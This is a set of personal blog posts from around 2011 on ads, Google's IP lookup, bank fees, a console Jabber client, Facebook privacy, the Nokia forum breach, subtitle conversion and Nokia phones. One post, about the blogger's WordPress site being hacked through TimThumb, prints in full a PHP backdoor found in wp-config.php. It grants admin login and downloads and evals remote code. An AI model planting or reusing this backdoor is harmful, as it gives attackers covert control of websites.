Kashi Dark Chocolate Kid

Recently while clicking on a Kashi advertisement to find out more of their delicious and healthy-looking granola bars. To my surprise there was a black child greeting me with a small after clicking on the Kashi Peanutty Dark Chocolate layered granola bar!

Understand that this is  purely some kind of weird racial hang-up on my part. Probably,  but I just couldn’t help noticing it the way I did. Just for the record, our smiling hero holds his pose in the background through each iteration of granola bar.

It really would have been something if a little boy of a different race appeared to match its ‘respective’ type of granola bar. No need to thank me Kashi for the free advertisement.

Check it out out for yourself and let me know what you think.

Kashi Kid-Friendly Top 10 ad

Ask Google For Your IP address

Google has always known your IP address, but now if you need it for something and share my lazyness. You can cut out that extra click by simply typing  ”what is my ip address” in the search query box and Google will promptly display your current IP address.  If you’re really lazy, you could just type “ip” and it will work just the same.

You may or may not know that there have been several web sites around for years that offer this service and for free as well. All one had to do is go to sites like www.whatismyip.com to find out your IP address. This Google feature will probably not be a good thing for those sites in the long term that rely on users wanting to know their IP.  There is probably some type of ad or services revenue that the websites generate off users. At least for now Google only displays the IP address and doesn’t get into too any detail as Internet Service Provider (ISP) and other tidbits of information that websites like the one mentioned offer.

Currently, a couple of my Linux boxes use the automation feature of www.whatismyip.com to find out the current ip address as they’re dynamic and changes from time to time. That was just a shameless plug for whatismyip.com.

Slowly but surely Google has been taking over the world for years. This is probably just another little step. Baby steps that sure make life a lot more convenient, hopefully in the end not with a price.  I know I’ll be using the IP address feature extensively, while my machines will use the automated script at whatismyipaddress.com. How about you? Do you care? Will you use it? Let me know in the comments below.

BofA plans to charge a $5 dollar debit card fee next year

Let me get this straight? We, the tax payers bailed out these HUGE bank monopolies with our hard earned money and now they want to charge us a $5 dollar fee for using their precious debit cards? Are you kidding me??

Bank of America will become the first major bank to charge customers across the country a monthly fee to shop with their debit cards, part of a wave of changes that are eroding the low-cost model of banking that consumers have long enjoyed.

The $5 fee will debut next year for the bank’s basic checking accounts. It will apply only to debit card purchases and not to ATM withdrawals, online bill pay or mobile phone transfers. A spokeswoman said the bank is “adjusting our pricing to reflect today’s economics.”

Perhaps the bank’s decision simply reminded us all over again that we are living increasingly in a fee-littered world, where companies continually seek out new ways to nibble away at our wallets by charging for the smallest of once-free services, leaving many customers feeling nickel-and-dimed.

[ Source:  Washington Post ]

You’re damned right we feel “nickel-and-dimed!” At least Obama is showing some balls here by calling the charge “not good business practice.” In reality he’ll probably receive a nice incentive for his campaign troubles from a lobbyist. For now we’ll take his call-out at face value and hope he can do something to help out the little guy. I’ve been banking with BofA since 1995 but this might be the last straw and switch over to a Credit Union like I should have all these years.

What do you think? Do you agree with this fee? Think its a bunch of crap? Leave your comments below

Leave it up to the latest “trendy” beer commercial by none other than Heineken to resurrect a catchy Bollywood 60s tune while at the same time confusing the audience and alienating a couple of races.

www.youtube.com/watch?v=57zo8O5pDXc

“The Date” commercial by Heineken

Nothing less is to be expected upon watching commercial television, so there really shouldn’t be any surprises here. The Heineken marketing team hits another “home run” with the latest in their series of  “Open Your World” commercials, with this one titled: The Date.  Where a the protagonist — in your typical male-Westerner arrogance — oohs and awes his date and the people around him as they crash an exclusive Chinese restaurant all to the tune of a 1960′s Bollywood song that if you didn’t know any better like me, would have thought it was sung in Chinese.

Insert racist comment here: it all sounds the same to me. Not really, the words were just difficult to make out.

www.youtube.com/watch?v=aHA_S48KRrI

The original dance number comes from the 1966 Indian film Gumnaam. The song is “Jan Pehechan-Ho” performed by Bollywood music legend Mohammed Rafi. The scene is quite interesting and is reminiscent of the 60s BATMAN.

As of now the top comments are an acknowledgement of Heineken leading people to this original and a mention of Ghost World.

What if I told you that you could Google Talk with whomever you needed to without the use of a web browser? If you’re a Command-Line fanatic like myself, you will welcome mcabber — a small Jabber console client — into your life!

You see today while accessing public wifi, I was looking for a way to chat securely with my GMail buddies on the console via SSH. Looking around the web I discovered mcabber. Currently in version 0.10.1. mcabber and includes features such as SASL/SSL/TLS support, MUC (Multi-User Chat) support, history logging, command completion, OpenPGP encryption, OTR (Off-the-Record Messaging) support, dynamic modules and external action triggers. mcabber is released under the GNU GPL, and has been tested on GNU/Linux, BSD, Mac OS X and Cygwin.

Its a really neat little program. At first it was sort of confusing to setup. The following setup is for Google Talk. Once you compile or install your distro’s package, you will need to setup the configuration file in ~/.mcabber/mcabberrc

To get going right away, the basic settings are as follows:

$ mkdir ~/.mcabber
$ chmod 0700 ~/.mcabber

Very important to set the permission or else mcabber will complain about them. Next  you create mcabberrc in ~/.mcabber/mcabberrc with the contents below. Replace your.email@gmail.com with your email address.

set jid  = your.email@gmail.com
set server = talk.google.com
set ssl = 1
set ssl_ignore_checks = 1
set port = 5223

You may copy the settings or download the sample configuration file from mcabber.com  and edit that. Now, edit the configuration file. You need to set your username and server (or only the ‘jid’ option, starting from mcabber 0.10.0). (Note: if you want to use SSL/TLS encryption, have a look at the ‘ssl_verify’ or ‘ssl_ignore_checks’ options)

From the Mcabber Wiki:

The mcabber screen is divided into 4 regions. The roster, alias buddylist, is on the left. The chat window, or chat buffer, is on the right. The input line lies at the bottom of the screen, under a small log window. Two status lines surround the log window. The bottom status line is the “main status line” and reflects mcabber general status. The other line is the “chat status line” and shows the status of the currently selected buddy. To display buddies chat buffers, you will have to enter Chat Mode. You can enter chat mode by pressing enter, and leave chat mode with the ESC key. Simply sending a message will also enable chat mode. Use PageUp/PageDown to move inside the roster.

I got stuck when i first tried it out so if you get stuck as well you can always type the /quit command to exit or type /help for the list of available commands.

Quick list of mcabber commands

/quit – exists mcabber

/clear – This command is actually an alias for “/buffer clear”. It clears the current buddy chat window.

/help – Display help for command “command” or topic “topic”.
Example: “/help buffer”

/rename name - Rename the current buddy or group to the given “name”. If “name” is -, the name is removed from the roster (and mcabber will display the JID or username).

That’s it! You can read all about other options at mcabber.com, the Mcabber  Wiki and mcabber man.

New Facebook Privacy Controls Inline

Just a few moments ago while complaining about something utterly unimportant on Facebook. I noticed this little guy pop-up telling me about some new privacy controls on status updates. It seems now that you have the option of tagging who you are with as well as your current location and finally with the option of making your update public or whatever. I know they say that these are privacy controls but if anything it seems like they are more ways to lose your privacy. You decide.

As it says “to make privacy simpler we made some changes including creating this new tool, removing and updating some settings, and giving you a clear, inline control for who sees your posts.” Very straight forward.

The first step is to tell everyone who you are with. “Use this button to tag people and say who you’re with. You can tag anyone. When you (or others) add tags, the people tagged and their friends may see the post too. You can choose to review tags other add to your stuff.” So now I have to tell everyone who I am with? I suppose I don’t have to. I can just picture it now — Katie is with Sammy and we’re hanging out at the mall — Eugh!

Now you add a location. “To easily say where you are, you can add your current city or neighborhood to your posts, or add a specific place. You can turn this on or off at any time.”

Its true you can “turn it on or off at any time.” In this example my location is Hachioji, Tokyo but by clicking on the little “x” next to the city’s name I can remove it. This may be interesting and will enable me to post from different locations around the world just for kicks.

We’ve been acquainted with this feature for a while now. This privacy control allows us to select who can see our posts(s). The only change that has been done is with the “Everyone” label to “Public.”

I suppose its good that we have all these controls but in my estimate over 90% of users are lazy — heck probably even more than that– who due to ignorance, apathy or both are just not going to take the time to change their settings. No faith in you morons. The best method of keeping one’s privacy would have been not to have the “features” in the first place.

You can find out more info and a pretty video here: http://www.facebook.com/about/sharing

Now I don’t feel so bad that this site got compromised last week. I received an email yesterday regarding a security breach on the developer.nokia.com/community discussion forum. It looks like someone forgot to patch the forum which was exploited via an SQL injection attack.

From: Nokia Developer developer@nokia.com via peer360returns.net
Subject: Important information from the Nokia Developer website team

You may have seen reports or received an email from us regarding a recent security breach on our developer.nokia.com/community discussion forum.

During our ongoing investigation of the incident we have discovered that a database table containing developer forum members’ email addresses has been accessed, by exploiting a vulnerability in the bulletin board software that allowed an SQL Injection attack. Initially we believed that only a small number of these forum member records had been accessed, but further investigation has identified that the number is significantly larger.

The database table records includes members’ email addresses and, for fewer than 7% who chose to include them in their public profile, either birth dates, homepage URL or usernames for AIM, ICQ, MSN, Skype or Yahoo. However, they do not contain sensitive information such as passwords or credit card details and so we do not believe the security of forum members’ accounts is at risk. Other Nokia accounts are not affected.

We are not aware of any misuse of the accessed data, but we have identified that your email address was in one of the records accessed, though it contained none of the optional information, so we believe that the only potential impact to you may be unsolicited email. Nokia apologizes for this incident.

Though the initial vulnerability was addressed immediately, we have now taken the developer community website offline as a precautionary measure, while we conduct further investigations and security assessments. We hope to get the site back online as soon as possible and will post developments there in the meantime.

If you have any questions on this, please contact Nokia.developer-discussions-support@nokia.com.

The Nokia Developer website team.

That’s the email I received and what appears on the page when you visit http://www.developer.nokia.com/Community. Luckily — at least as the email states — the only information gathered as a result of this attack was user email addresses. So expect some more spam in your inboxes.

Don’t let this give you a bad idea about real hackers. A real hacker would have exploited the system, reported it to the administrator and not have used the compromised information for personal gain.

Unfortunately some douche decided to ruin my day by exploiting this site via the zero day vulnerability found in thumbtim.php that can allow arbitrary file uploads. Yup, just like many self-hosting WordPress bloggers one of my plugins and themes was using the vulnerable thumbtim.php and ended up taking most of my day to — with the help of other victims — restore the site from with a fresh and shiny clean install. I’ll have to admit that the site being compromised was due to laziness on my part. Even so, its not cool to mess things up for someone with not a lot of time to keep everything in check. Bastards!

A few days ago i noticed that the anti-virus/malware programs kept making a fuss when i viewed this site on my Windows machines. I didn’t think much of it at the time. A couple days later Google protested and flagged the site as a a Reported Malware site. I also noticed the back-end acting a bit funky. Googling for answers gave me some clues. Luckily I stumbled upon Blake Embrey’s site where I found out about the thumbtim.php exploit. He also links this really good tech site blog.sucuri.net who much like him I advise you to follow.

Before anything else, if you suspect your site has been compromised read this article by sucuri Timthumb.php Security Vulnerability – Just the Tip of the Iceberg then run their script to check for thumbtin.php Sucuri WP_Check, you should also check out Bremley’s Warning: Something’s Not Right Here! where he describes in detail the steps he took to remove the infection.

As for me i just decided to start from scratch. First of all I discovered this code in wp-config.php file

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<script type="text/javascript" language="\&quot;JavaScript\&quot;">// <![CDATA[
 location.href='$fnm';
// ]]></script>";
}
if (($_GET['pingnow']== 'eval')&amp;&amp;(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

As soon as I saw “GET pass” I knew the site had been hacked. I’ll update this later on with the steps I took tohave my site re-evaluated by Google so it would not be marked as malware. For now read the links I provided since they provide excellent removal information. Have you been a  victim of this exploit as well? Leave your comments below.

Elisha Cuthbert

Nowadays most modern HDTV sets have built-in DLNA streaming capabilities. I for one have a Samsung LN55B650, which is capable of streaming media from a DLNA server (not just the one included with the TV CD package). Most notably movies! Unfortunately — that I know of — this particular TV will only accept .srt subtitles files. If you happen to have a .sub file, it will not be able to read it. Fortunately there are ways to convert .sub/.idx files to .srt plain text format. This is where Subresync comes in.

Why should I care to display subtitles from DLNA server streamed movies?

You probably shouldn’t. As most people out there will tell you that they don’t like to watch movies with subtitles on either. At least in my experience a couple people have told me that they are too distracting and can’t keep up with the text and the scene at the same time. I however am amongst the tiny and miniscule minority that actually enjoys “reading” while watching a movie. The subtitles that is. I find that it helps a lot as sometimes a tiny distractions or lack of understanding cause you miss a spoken line. You may also want to watch a foreign film or anime that is not in English, lastly this is great for the hearing impaired.

I also like to have subtitles on during my movies, how do I get started?

Luckily for us there are wonderful people out there on message forums and blogs that know how to do things and this tutorial will be regurgitated from a post by the user FireWalker in the forum.videohelp.com forums.

WARNING! USE THE INFORMATION AT YOUR OWN RISK! IT IS FOR INFORMATION AND EDUCATIONAL PURPOSES ONLY. DOWNLOAD THE FILES AND INSTALL AT YOUR OWN RISK!

Tutorial by FireWalker originally posted on forum.videohelp.forums [ link here ]

The tutorial is aimed at XP users but probably works just fine in later versions.

Required tools:
Vobsub2.23: http://www.filemirrors.com/search.sr…obSub_2.23.exe

If you have vobsub2.23 installed make sure you install the utilities that comes w/ the package. Check your programs menu for VobSub and skip the quick installation.

**Note** For some reason or other there is a conflict with Subresync when using IE8 to remedy this download the patch file:
http://188.40.40.201/~perplexer/vobsub/vobsub223fix.html

Quick Installation and what to look for:

Launch vobsub2.23.exe

Click ok for install window

Next for Vobsub setup wizard

Installations Options: Click + to make – to extend Utilties list.
By default these are checked if not,
Check subresync, submux, create shortcuts & associate files
with notepad, then click next to continue.

Click install for installation folder

Then close for completed window.

Now that you installed vobsub2.23 files goto your programs menu, look for Vobsub and lanuch subresync.

Click open, goto to directory that has your filename.sub

Select your filename.sub by single click then open. By default fps is 25, if your video frames per seconds a different value (23.97, 24, 25. 29.97) select something else.

The subresync dialog box appears…by default “Render” checked and “unlink” not checked. From the “drop down menu” it may detect multiple language options(Eq. 00-Japanese, 01-English, 02-Chinese, 03-Not detected, 04-etc…..)
I only comprehend english so 01 was selected.

Then clicked Save As, from the “save as type” drop down menu, select your desired output extension.

Note: OCR Setting “clear image->letter(s) database” will build a database of letters you will be typing. If checked this item will clear the database. Click save to begin.

Follow the moving red box below and “enter matching letter/word/(s).” Once letter is typed press enter. This in turn builds a database of the letter/words/(s) you type. Some times the words don’t appear properly cause of unknow character or symbol. Click “extend” to find the remain letter/word/(s).

Finally test your new filenname.srt and see if matches with your flix.

Special Tanks to Xtropy for kill.bill sub file

That’s pretty much it. The last step might take some time since the conversion process will require your aid in recognizing certain characters. All you have to do now is call the .srt file the same as the movie file. For example if the movie is THE MATRIX.AVI then the .srt file must be called THE MATRIX.srt (spaces must be the same).

If your lazy or just don’t have the time you can search sites like http://www.subscene.com to download already created .srt files.

Was this tutorial useful to you? Do you have a better solution? Or do you also enjoy movies with subtitles? Leave your comments below.

Hands On Video By mobilenet.cz

Yesterday A few days ago I posted about the release of the Nokia N9, which with all its impressive features disappointed me with the lack of a physical hardware keyboard. There were however some good news as I learned from Twitter that the Nokia N950 has been quietly and officially announced! As promising as that was the bad news is that the device will have limited numbers and be only available to developers.

You can go ahead and read the release notes from the developer site. Which describes the major differences between the N9 and the N950. You can also find other notes and disclaimers about the device.

Nokia N950 phone uses same hardware components as the Nokia N9 phone with the following exceptions:

• N950 is physically larger and is made out of aluminum, whereas N9 has  a polycarbonate unibody.
• N950 has a physical slide-out QWERTY keyboard. The N9 is a touchscreen  -only device.
• N950 has a 4” TFT LCD display whereas N9 has 3.9” AMOLED display.   Display resolution is same on both devices (854×480). Due to the use   of different display technologies, developers should avoid one pixel   with fonts and graphical objects with lines one pixel wide. Also avoid  the extensive use of bright colors, especially white, when developing   for OLED displays as this increases the power consumption (typical   for OLED displays).
• N950 has a different physical camera module than N9. Both camera   modules have very similar image quality (Carl Zeiss branding in N9)   and both modules support 8Mpix image mode.
• In the N950 the front facing camera is in top right corner and on N9   it is in the bottom right corner. The actual camera module is same.
• N950 supports Bluetooth version 2.1+EDR, whereas N9 supports   version 4.0
• N950 does not have support for NFC
• N9 has slightly more sensitive magnetometer and ALS
• N950 has 1320mAh battery, the N9 has 1450mAh battery

Where can I get an N950?

While its very clear that the N950 will only be available to developers, what is not is how to get your hands on one. There is somethings called Nokia N950 Developer Kit for N9 apps at the very bottom of this page and says to email in writing a request for a kit to nokia.developer.launchpad@nokia.com by July 31, 2011.

N950 Developer Kit

Good luck trying to get one, it seems that to be considered you must either have published apps in the Ovi Store or “have started using Qt.” For those who don’t have any apps published, the latter gives a glimpse of hope. Perhaps looking around eBay in a few months would be the best bet.

So what gives? Basically MeeGo has been relegated upon its release to a side-project by Nokia. Its still not clear what the strategy (if any) behind releasing the device sidelined. Very confusing. Maybe its some kind of contractual obligation. At the very least I suppose you can say that Nokia is pleasing the fanboys by continuing what they started with MAEMO and the N900 — awesome device that I never picked up only because it lacked the precious 3G AT&T band that depending on which city you’re in might not have needed it due to the fact that it couldn’t be used at times.

I am attempting to get my hands on an N950 and if I do I’ll share here with you. So the keyboard that was missing on the N9 was never really missing since the N9 was actually the N950 all along.